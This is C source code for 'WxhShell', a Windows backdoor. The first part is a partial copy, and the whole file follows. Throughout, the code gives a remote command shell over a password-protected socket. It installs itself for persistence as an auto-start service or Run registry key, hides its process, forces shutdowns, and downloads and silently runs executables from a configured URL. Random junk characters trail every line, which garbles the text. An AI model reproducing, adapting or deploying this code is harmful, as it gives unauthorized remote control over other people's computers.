    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4NwGP^ n  
    if(Boot(SHUTDOWN)) GfY!~J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qm,|'y:Tg  
    else { j0o_``  
    closesocket(wsh); g!D?Yj4  
    ExitThread(0); zp"sM z]  
    } iO3@2J  
    break; L]kSj$A  
    } s9qr;}U.`  
  // 获取shell }9>W41  
  case 's': { '(kGc%  
    CmdShell(wsh); GKtG#jZ&  
    closesocket(wsh); //>f#8Ho  
    ExitThread(0); I 8`@Srw8  
    break; pb}QP  
  } !u~( \ Rb;  
  // 退出 O|#^&d  
  case 'x': { UbJ_'>hK6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *xM4nUu<~  
    CloseIt(wsh); :^1 Xfc"  
    break; {G/4#r 2>  
    } `K~300-hOb  
  // 离开 Bh"o{-$p8`  
  case 'q': { 5)2lZ(5.A#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <:2El9l!  
    closesocket(wsh); 9EK5#_L[=  
    WSACleanup(); y!."FoQ  
    exit(1); /'u-Fr(Q+  
    break; I/<aY*R4  
        } ; GRSe  
  } ON~SZa  
  } SQ]&nDd  
n87B[R  
  // 提示信息 G  2+A`\]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7d]}BLpjWz  
} VjBV2x  
  } /^G1wz2  
vp 1IYW  
  return; t`o-HWfS.  
} <6)Ogv",  
OySIp[{tJ  
// shell模块句柄 _)yn6M'Dt  
int CmdShell(SOCKET sock)  T+9#P4  
{ ?gY^,Ckj  
STARTUPINFO si; ?V4?r2$c  
ZeroMemory(&si,sizeof(si)); c]v $C&FX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .EM0R\q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7$b!-I+ a2  
PROCESS_INFORMATION ProcessInfo; A7 qyv0F  
char cmdline[]="cmd"; D kl4 ^}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HJo&snT3  
  return 0; 7;jwKA;k  
} z Xx HaM  
|,c QJ  
// 自身启动模式 0D+[W5TB  
int StartFromService(void) 3s<~}&"  
{ R?b3G4~  
typedef struct >\ y|}|?  
{ pwtB{6)VH{  
  DWORD ExitStatus;  s!X@ l  
  DWORD PebBaseAddress; brx 7hI  
  DWORD AffinityMask; _dky+ E  
  DWORD BasePriority; l=ehoyER  
  ULONG UniqueProcessId; C#d .3t  
  ULONG InheritedFromUniqueProcessId; @E %:ALJ  
}   PROCESS_BASIC_INFORMATION; hO w  
Anr''J&9`H  
PROCNTQSIP NtQueryInformationProcess; d]{wZ#x  
Ri=:=oF(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mSF>~D1_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C62:G+W&o  
iZ}Afj  
  HANDLE             hProcess; kH/u]+_  
  PROCESS_BASIC_INFORMATION pbi; )c!7V)z  
QVLv}w`O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s.7\?(Lg  
  if(NULL == hInst ) return 0;  mo+zq~,M  
FcVQ_6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N^</:R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TgMa! Vz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cCx@VT`0  
B_R J;.oH  
  if (!NtQueryInformationProcess) return 0; KmS$CFsGL  
T'_#Dwmj*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :5|'C  
  if(!hProcess) return 0; cj K\(b3  
&CBW>*B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jB) RvvMU5  
c=d` DJ  
  CloseHandle(hProcess); v~E\u  
)gF>nNE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DBTeV-G9~R  
if(hProcess==NULL) return 0; p G|-<6WY  
s/Ne,v  
HMODULE hMod; QguRU|y  
char procName[255]; )/4eT\=  
unsigned long cbNeeded; 03N|@Tu  
% !P^se  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hc7"0mVd{  
#h=pU/R  
  CloseHandle(hProcess); T{ WJf-pI  
Z4ekBdmCL  
if(strstr(procName,"services")) return 1; // 以服务启动 hk*@<ff  
]bcAbCZ@  
  return 0; // 注册表启动 +az=EF  
} xWRkg$A  
(:Y0^  
// 主模块 Z7]["  
int StartWxhshell(LPSTR lpCmdLine) GZxPh&BM?  
{ Gx)U~L$B  
  SOCKET wsl; Q*jNJ^IW  
BOOL val=TRUE; 7a0T]  
  int port=0; TmviYP gb  
  struct sockaddr_in door; $sILCn  
F)8M9%g5m  
  if(wscfg.ws_autoins) Install(); E;1QD/E$  
pNFVa<D  
port=atoi(lpCmdLine); ^7Z#g0{^w  
R6m6bsZ`  
if(port<=0) port=wscfg.ws_port; (e"\%p`  
z(!K8 T  
  WSADATA data; 5ho!}K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;9MIapfUd(  
Q]1s*P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2 xE+"?0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MSqW {  
  door.sin_family = AF_INET; R4_BP5+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GI5#{-)  
  door.sin_port = htons(port); o? LJ,Z  
H|%'$oWp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rtxG-a56Q  
closesocket(wsl); <dWms`Qc O  
return 1; % `\}#  
} cj;k{ Moc  
L3;cAb/  
  if(listen(wsl,2) == INVALID_SOCKET) { Xmny(j)g  
closesocket(wsl); +\x}1bNS%j  
return 1; RW`+F|UbE  
} IY,n7x0d  
  Wxhshell(wsl); "'3QKeM1  
  WSACleanup(); fB= j51Lw  
ZH)thd9^b  
return 0; q[TGEgG  
YZy%]i=1  
} nN%Zed2O@6  
06]%$ -j  
// 以NT服务方式启动 T+j-MR}{\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w 6  
{ QB5,Vfoux  
DWORD   status = 0; @5j3[e  
  DWORD   specificError = 0xfffffff; )|,Zp`2/  
;;  ?OS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /5Tp)h|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p~yGp] yJ9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /_mU%fl  
  serviceStatus.dwWin32ExitCode     = 0; Hrg -5_  
  serviceStatus.dwServiceSpecificExitCode = 0; 9P& \2/ {  
  serviceStatus.dwCheckPoint       = 0; |.?$:D&6  
  serviceStatus.dwWaitHint       = 0; y:YJv x6&4  
L2IY$+=M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ],F@.pg  
  if (hServiceStatusHandle==0) return; M*Ri1   
n{"e8vQx  
status = GetLastError(); (mgv:<c;BA  
  if (status!=NO_ERROR) 1StaQUB  
{ =gAn;~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MDauHtF,  
    serviceStatus.dwCheckPoint       = 0; &?*H`5#?G  
    serviceStatus.dwWaitHint       = 0; `Y,<[ Lnr  
    serviceStatus.dwWin32ExitCode     = status; ?t [C?{'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9'0v]ar  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Dp<|n  
    return; h3Y|0-D  
  } ;<H\{w@D  
e=Q{CsP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;3&HZq6Z (  
  serviceStatus.dwCheckPoint       = 0; |3C5"R3ZGO  
  serviceStatus.dwWaitHint       = 0; rLE5fl5W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )\+1*R|H}  
} qa,i:T(w  
ys9'1+9  
// 处理NT服务事件,比如:启动、停止 5OC{_-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b,lIndj#  
{ z4rg.ai  
switch(fdwControl) k3UKGP1  
{ Gg3< }(  
case SERVICE_CONTROL_STOP: QFU1l"(qGk  
  serviceStatus.dwWin32ExitCode = 0; eT@, QA(3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~IQw?a.E  
  serviceStatus.dwCheckPoint   = 0; B qcFbY  
  serviceStatus.dwWaitHint     = 0; yZY.B {  
  { lj 2OOU{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '5}@# Mi  
  } )26_7.|  
  return; "p"~fN /I9  
case SERVICE_CONTROL_PAUSE: I2)#."=Ew  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?dY|,_O  
  break; gUrXaD#  
case SERVICE_CONTROL_CONTINUE: $kxP{0u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ ^k]2oG  
  break; tB<|7  
case SERVICE_CONTROL_INTERROGATE: F1NYpCR  
  break; t&H3yV  
}; TSUT3'&~p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JQH>{OB  
} 7 |Q;E|=-Y  
%<@x(q  
// 标准应用程序主函数 ,o s M|!,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W6jdS;3  
{ h5}:>yc  
.y>G/8_i  
// 获取操作系统版本 Y(6p&I  
OsIsNt=GetOsVer(); /7uA f{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); siD/`T&  
X*e<g=  
  // 从命令行安装 aLO'.5 ~^  
  if(strpbrk(lpCmdLine,"iI")) Install(); $kd9^lj#[  
Qb?e A  
  // 下载执行文件 .{4U]a;[  
if(wscfg.ws_downexe) { p #Y2v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E @7);i5K  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hg 2Rcl  
} @h!nVf%fe  
@aUQy;  
if(!OsIsNt) { IRIYj(J  
// 如果时win9x,隐藏进程并且设置为注册表启动 )GR4U8<>g  
HideProc(); >WmT M0  
StartWxhshell(lpCmdLine); I:edLg1T  
} mH /9J  
else maVfLVx-  
  if(StartFromService()) KYR64[1  
  // 以服务方式启动 `!@d$*:'  
  StartServiceCtrlDispatcher(DispatchTable); k@>y<A{;D  
else Sq[LwJ  
  // 普通方式启动 GDY=^r  
  StartWxhshell(lpCmdLine); XxLauJP K  
uc]`^,`2/  
return 0; 4#lOAzDtv  
} oyq9XW~ D  
]La~Bh6;m  
=pd#U  
9z kRwrQ  
=========================================== %JPBD]&M  
f7?IXDQ>!  
% 9} ?*U  
ph>0?Z =bn  
jW;g{5X  
Y>Fh<"A|$  
" 1fqJtP6  
1Uk Gjw1J  
#include <stdio.h> kV:T2}]|H  
#include <string.h> ^0HgE;4  
#include <windows.h> nd,2EX<bE  
#include <winsock2.h> pB'{_{8aA  
#include <winsvc.h> 0bl8J5Ar5  
#include <urlmon.h> 'q\[aKEX=  
85qD~o?O  
#pragma comment (lib, "Ws2_32.lib") SaFNPnk=  
#pragma comment (lib, "urlmon.lib") >>%E?'9A  
V,&A? Y  
#define MAX_USER   100 // 最大客户端连接数 Dbw{E:pq  
#define BUF_SOCK   200 // sock buffer 2x!cblo  
#define KEY_BUFF   255 // 输入 buffer =XFyEt  
)8%m|v#W  
#define REBOOT     0   // 重启 0+Z?9$a1  
#define SHUTDOWN   1   // 关机 '+v[z=.8]  
"Pa  y2  
#define DEF_PORT   5000 // 监听端口 )4^Sz&\  
K#LDmC  
#define REG_LEN     16   // 注册表键长度 J~|:Q.Rt`  
#define SVC_LEN     80   // NT服务名长度 -lS(W^r4  
P (aN6)D  
// 从dll定义API :gTtWJ04]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @1s 2# )l(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AmB*4p5b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +%R{j|8#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6cX Z3;a  
DLPg0>;jl  
// wxhshell配置信息 =0mn6b9-=  
struct WSCFG { -{E S 36  
  int ws_port;         // 监听端口 jIck!  
  char ws_passstr[REG_LEN]; // 口令 6"yIk4u:  
  int ws_autoins;       // 安装标记, 1=yes 0=no v]y=+* A  
  char ws_regname[REG_LEN]; // 注册表键名 1*?L>@Wdy  
  char ws_svcname[REG_LEN]; // 服务名 q9(Z9$a(\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ht2J, 1t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xM?tdQ~VHY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *g"X hk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ` >[Offhd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cnB:bQQK8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NIG* }[}P  
K"8!  
}; bMGXx>x  
xM$AhH  
// default Wxhshell configuration c~u91h?  
struct WSCFG wscfg={DEF_PORT, IQQ>0^Q~  
    "xuhuanlingzhe", |LirjC4  
    1, 6*:U1{Gl)  
    "Wxhshell", 4e?MthJ>  
    "Wxhshell", |%@pjJ`3  
            "WxhShell Service", ^*b11 /7  
    "Wrsky Windows CmdShell Service", H@'u$qr$:  
    "Please Input Your Password: ", V W(+sSQ  
  1, f1|&umJ$  
  "http://www.wrsky.com/wxhshell.exe", Iz8gZ:rd0  
  "Wxhshell.exe" 4A)_D{(SH  
    }; Bw>)gSB5$k  
vG~JK[  
// 消息定义模块 !-4VGt&c,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \S>GtlQbn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p. KT=dZT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *2 ~"%"C  
char *msg_ws_ext="\n\rExit."; HqXS-TG  
char *msg_ws_end="\n\rQuit."; R]0tG   
char *msg_ws_boot="\n\rReboot..."; x!fgZr{  
char *msg_ws_poff="\n\rShutdown..."; :XB^IyO-A  
char *msg_ws_down="\n\rSave to "; Zou;o9Ww  
%II o  
char *msg_ws_err="\n\rErr!"; gnlU  
char *msg_ws_ok="\n\rOK!"; !ezy  v`  
3[<D"0#},  
char ExeFile[MAX_PATH]; .f`KP!p.  
int nUser = 0; <MJ-w1A  
HANDLE handles[MAX_USER]; d'[q2y?6N  
int OsIsNt; =d/$B!t{  
;<#=|eD2  
SERVICE_STATUS       serviceStatus; Ehq [4}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7#C3E$gn?  
mp8Zb&Ggb  
// 函数声明 l_pf9 !z  
int Install(void); zA| )9Dq  
int Uninstall(void); 0B"_St}3D  
int DownloadFile(char *sURL, SOCKET wsh); 1V-sibE  
int Boot(int flag); Dlz1"|SF  
void HideProc(void); @ X5#?  
int GetOsVer(void); Mg&<W#$K  
int Wxhshell(SOCKET wsl); t?Q  
void TalkWithClient(void *cs); 9]:F!d/  
int CmdShell(SOCKET sock); <4TF ]5  
int StartFromService(void); T-Yb|@4  
int StartWxhshell(LPSTR lpCmdLine); o0TB>DX$`  
[Xww`OUsh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (V0KmNCW`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;f /2u  
r`e6B!p  
// 数据结构和表定义 py6O\` \  
SERVICE_TABLE_ENTRY DispatchTable[] = XI"IEwB  
{ ps33&  
{wscfg.ws_svcname, NTServiceMain}, O$X^Ea7~  
{NULL, NULL} Tn?D~?a*O  
}; =KHX_ib  
kb!W|l"PN  
// 自我安装 @{ L|&Mk!  
int Install(void) y0'WB`hNQ  
{ g\H~Y@'{  
  char svExeFile[MAX_PATH]; =)J )xH!N  
  HKEY key; @XVx{t;g2  
  strcpy(svExeFile,ExeFile); !ZY1AhGZ  
{"O-/* f+(  
// 如果是win9x系统,修改注册表设为自启动 sn+ kFvk}S  
if(!OsIsNt) { t-SZBNb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3&R1C>JS ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6t gq.XL^n  
  RegCloseKey(key);  p4P"U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B[5<&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # S0N`V  
  RegCloseKey(key); $5@[l5cJU;  
  return 0; **c"}S6:mC  
    } gp+@+i>b+[  
  } Wr+1e1[  
} U-D00l7C  
else { ;8cTy8  
f DPLB[  
// 如果是NT以上系统,安装为系统服务 ?y,KN}s_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gFXz:!A  
if (schSCManager!=0) J\Tu=f)  
{ IV%Rph>d  
  SC_HANDLE schService = CreateService Gsy'':u  
  ( ~SI G0U8  
  schSCManager, me90|GOx+  
  wscfg.ws_svcname, NKiWt Z"  
  wscfg.ws_svcdisp, 8J~-|<Q6  
  SERVICE_ALL_ACCESS, M]xfH*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =+H,}  
  SERVICE_AUTO_START,  xF*i+'2  
  SERVICE_ERROR_NORMAL, - x;xQ  
  svExeFile, ViU5l*n;  
  NULL, biRkq c;  
  NULL, K*M1$@5  
  NULL, T-x}o  
  NULL, 3il$V78|  
  NULL z~ua#(z1S  
  ); f[?JLp   
  if (schService!=0) <KX+j,4  
  { aJ[|80U  
  CloseServiceHandle(schService);  hRqr  
  CloseServiceHandle(schSCManager); lkJe7 +s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BW ux!  
  strcat(svExeFile,wscfg.ws_svcname); QkYKm<b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BN6cu9a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I/u>Gt  
  RegCloseKey(key); @Thrizh  
  return 0; li0)<("/  
    } D58RHgY[  
  } *a-KQw  
  CloseServiceHandle(schSCManager);  m=a^t  
} E@-5L9eJ\  
} c GyBml1  
#q5tG\gnM  
return 1; 2SlI5+u  
} WT}x Cni  
; O ~%y'  
// 自我卸载 t_+owiF)M  
int Uninstall(void) U|8?$/*\  
{ Yy,XKIqU  
  HKEY key; cH707?p/I  
"`h.8=-  
if(!OsIsNt) { 5Ha(i [d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5x!rT&!G  
  RegDeleteValue(key,wscfg.ws_regname); bmh@SB  
  RegCloseKey(key); #"C!-kS'=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VO /b&%  
  RegDeleteValue(key,wscfg.ws_regname); 2'Raj'2S4  
  RegCloseKey(key); bGK-?BE5+A  
  return 0; @~FJlG(n  
  } ""IPaNHQ  
} 3N4kW[J2i  
} @VyF' ?}  
else { s+^1\  
5?|y%YH;R\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7/K'nA  
if (schSCManager!=0) Z A}!Rzo  
{ $QwzL/a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -b34Wz(  
  if (schService!=0) 5C9 .h:c4y  
  { @c}Gw;e  
  if(DeleteService(schService)!=0) { vzF6e eaD  
  CloseServiceHandle(schService); XW+-E^d  
  CloseServiceHandle(schSCManager); ry+|gCZ  
  return 0; #A:^XAU1Z@  
  } =6N=5JePB  
  CloseServiceHandle(schService); iz+,,UH  
  } OaY]}4tI$  
  CloseServiceHandle(schSCManager); W #kLM\2L  
} X5= Ki $+  
} Fxn=+Xgg  
Z=l2Po n  
return 1; |w-s{L3@+  
} %D7'7E8.  
[a.(0YLr'w  
// 从指定url下载文件 ;zSV~G6-  
int DownloadFile(char *sURL, SOCKET wsh) '1zC|:,  
{ F5{GMn;j  
  HRESULT hr; .5tXwxad"  
char seps[]= "/"; $?9u;+jIR  
char *token; `:2np{  
char *file; 9h<iw\ $'  
char myURL[MAX_PATH]; a;(,$q3M  
char myFILE[MAX_PATH]; gL1r"&^L  
%v^qQWy=*  
strcpy(myURL,sURL); aw7pr464  
  token=strtok(myURL,seps); GT3}'`f B  
  while(token!=NULL) hJX;/~L  
  { lxBcO/  
    file=token; [p )2!]y  
  token=strtok(NULL,seps); S-brV\v7  
  } (D+%*ax  
aZmbt,.V  
GetCurrentDirectory(MAX_PATH,myFILE); u@zT~\ h*  
strcat(myFILE, "\\"); E.yc"|n7l2  
strcat(myFILE, file); SQk5SP  
  send(wsh,myFILE,strlen(myFILE),0); ~\zIb/ #  
send(wsh,"...",3,0); j>~ @vq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); / $'M  
  if(hr==S_OK) M F$NcU  
return 0; #QW% ;^  
else s ZokiFJ  
return 1; ^AO2%09.S  
, - _ReL  
} lPz5.(5'  
l_2YPon  
// 系统电源模块 hiaTJE|J?  
int Boot(int flag) p\xsW "=8q  
{ P?y{ 9H*  
  HANDLE hToken; fJY b)sN  
  TOKEN_PRIVILEGES tkp; ~s[Yu!(  
?\a';@h  
  if(OsIsNt) { EtcXzq>w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oXqx]@7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RY*s}f  
    tkp.PrivilegeCount = 1; q,j` _ R4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K]i2$M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \0l"9 B.  
if(flag==REBOOT) { cp+eh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zx5t gZd,N  
  return 0; N37#V s  
} yy\d<-X~  
else { 6r)qM)97  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }@g#S@o  
  return 0; jt",\%j  
} nZUBblRJ)  
  } U,$^| Iz  
  else { Pe7% 9  
if(flag==REBOOT) { 6z+*H7Qz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) " gi 1{  
  return 0; v>mr  
} VW9BQs2w  
else { O.P:~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e+O0l  
  return 0; )TgjaR9G  
} n15lX,FI  
} ]i:O+t/U  
ehls:)F  
return 1; Z9 tjo1X  
} `LCxxpHi|  
gUxJ>~  
// win9x进程隐藏模块 8I=migaxP  
void HideProc(void) .e%B'  
{ <lVW; l7  
gkNvvuQXc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uCpk1d  
  if ( hKernel != NULL ) C$$lJ=>  
  {  &+Pcu5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lO0 PZnW9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [.`#N1-@M  
    FreeLibrary(hKernel); B^uQv|m  
  } mEe JK3D[  
h+h`0(z  
return; #x|h@(y|  
} A?*_14&  
ro4 XA1  
// 获取操作系统版本 "J%/xj  
int GetOsVer(void) C/Dc1sj  
{ gyW##M@{  
  OSVERSIONINFO winfo; rz%=qY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u%=M4|7  
  GetVersionEx(&winfo); Q2[D|{Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y8 a![  
  return 1; kiFTx &gf  
  else +9mnxU>  
  return 0; P=V=\T<4_  
} X} v]iX  
4X2/n  
// 客户端句柄模块 w%[ `'_[  
int Wxhshell(SOCKET wsl) ApYri|^r  
{ ggUJ -M'2h  
  SOCKET wsh; NK+iLXC  
  struct sockaddr_in client; rSVU|O3m;  
  DWORD myID; 5? `*i"  
=MqefV;-  
  while(nUser<MAX_USER) AtN=G"c>_  
{ \$Nx`d aFi  
  int nSize=sizeof(client); t*zBN!Wu_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fr%}|7  
  if(wsh==INVALID_SOCKET) return 1; FXPw 5  
Yl+r>+^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6XO%l0dC.  
if(handles[nUser]==0) 37@_"  
  closesocket(wsh); Cu0N/hBT  
else L s=2!  
  nUser++; nJ`JF5tI  
  } 0FF x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V11Zl{uOl  
6U k[_)1  
  return 0; b<B|p|  
} (ROurq"  
p-zWfXn!P  
// 关闭 socket aUN!Sd2,  
void CloseIt(SOCKET wsh) `n]y"rj'  
{ `<h}Ygo>k/  
closesocket(wsh); -So&?3,\A@  
nUser--; 8]Xwj].^C  
ExitThread(0); gg(^:`+  
} @O<kjR<b  
qTnfiYG}  
// 客户端请求句柄 Q9N=yz  
void TalkWithClient(void *cs) [EDw0e  
{ Y%b 5{1  
'!64_OMj'  
  SOCKET wsh=(SOCKET)cs; ~l%Dcp  
  char pwd[SVC_LEN]; !6ZkLE[XJ<  
  char cmd[KEY_BUFF]; N0h"EV[  
char chr[1]; >+=)Q,|R  
int i,j; A\Q]o#U  
BlS0I%SN  
  while (nUser < MAX_USER) { !ec\8Tj  
Ud0%O  
if(wscfg.ws_passstr) { 9)Y]05us  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DNdwMSwp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,8g~,tMr+  
  //ZeroMemory(pwd,KEY_BUFF); o_p//S#q  
      i=0; '+NmHu:q  
  while(i<SVC_LEN) { wHk4BWg-  
|n3PznV  
  // 设置超时 *plsZ*Q8  
  fd_set FdRead; ho2o/>Ef3  
  struct timeval TimeOut; HH3WZ^0>  
  FD_ZERO(&FdRead); !'Xk=+  
  FD_SET(wsh,&FdRead); ?'p`Qv  
  TimeOut.tv_sec=8; 4_J* 0=U  
  TimeOut.tv_usec=0; *KF:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w-R>g dm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d:O>--$_tw  
A?q[C4-BO,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5.#r\' Z#  
  pwd=chr[0]; ; )O)\__"-  
  if(chr[0]==0xd || chr[0]==0xa) { ,)XT;iGQe  
  pwd=0; {%@zQ|OO0  
  break; `!DrB08A  
  } e|+U7=CK  
  i++; ' eO 4h^  
    } ?7^H1L  
+O}6 8 N  
  // 如果是非法用户,关闭 socket XRKL;|cd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~" B0P>7  
} iCao;Zb  
gQgG_&xkC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7_d gQI3y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 07Yh  
/}r%DND'  
while(1) { -]R7[5C:  
eP|:b &  
  ZeroMemory(cmd,KEY_BUFF); (tP>z+  
g1JD8~a  
      // 自动支持客户端 telnet标准   rAwq$!xx  
  j=0;  $.(%7[  
  while(j<KEY_BUFF) { 6gJy<a3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,<%Y.x%4z[  
  cmd[j]=chr[0]; &4sUi K"  
  if(chr[0]==0xa || chr[0]==0xd) { y. @7aT5  
  cmd[j]=0; X{o.mN  
  break; #QQ\xj  
  } ..3TB=Z#  
  j++; p@/!+$^{  
    } mfQQ<Q@  
RD_&m?d  
  // 下载文件 ! ]&a/$U  
  if(strstr(cmd,"http://")) { THWT\3~,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t=NPo+fm  
  if(DownloadFile(cmd,wsh)) *TVr| to  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r5Jy( ~  
  else ^E8&!s  
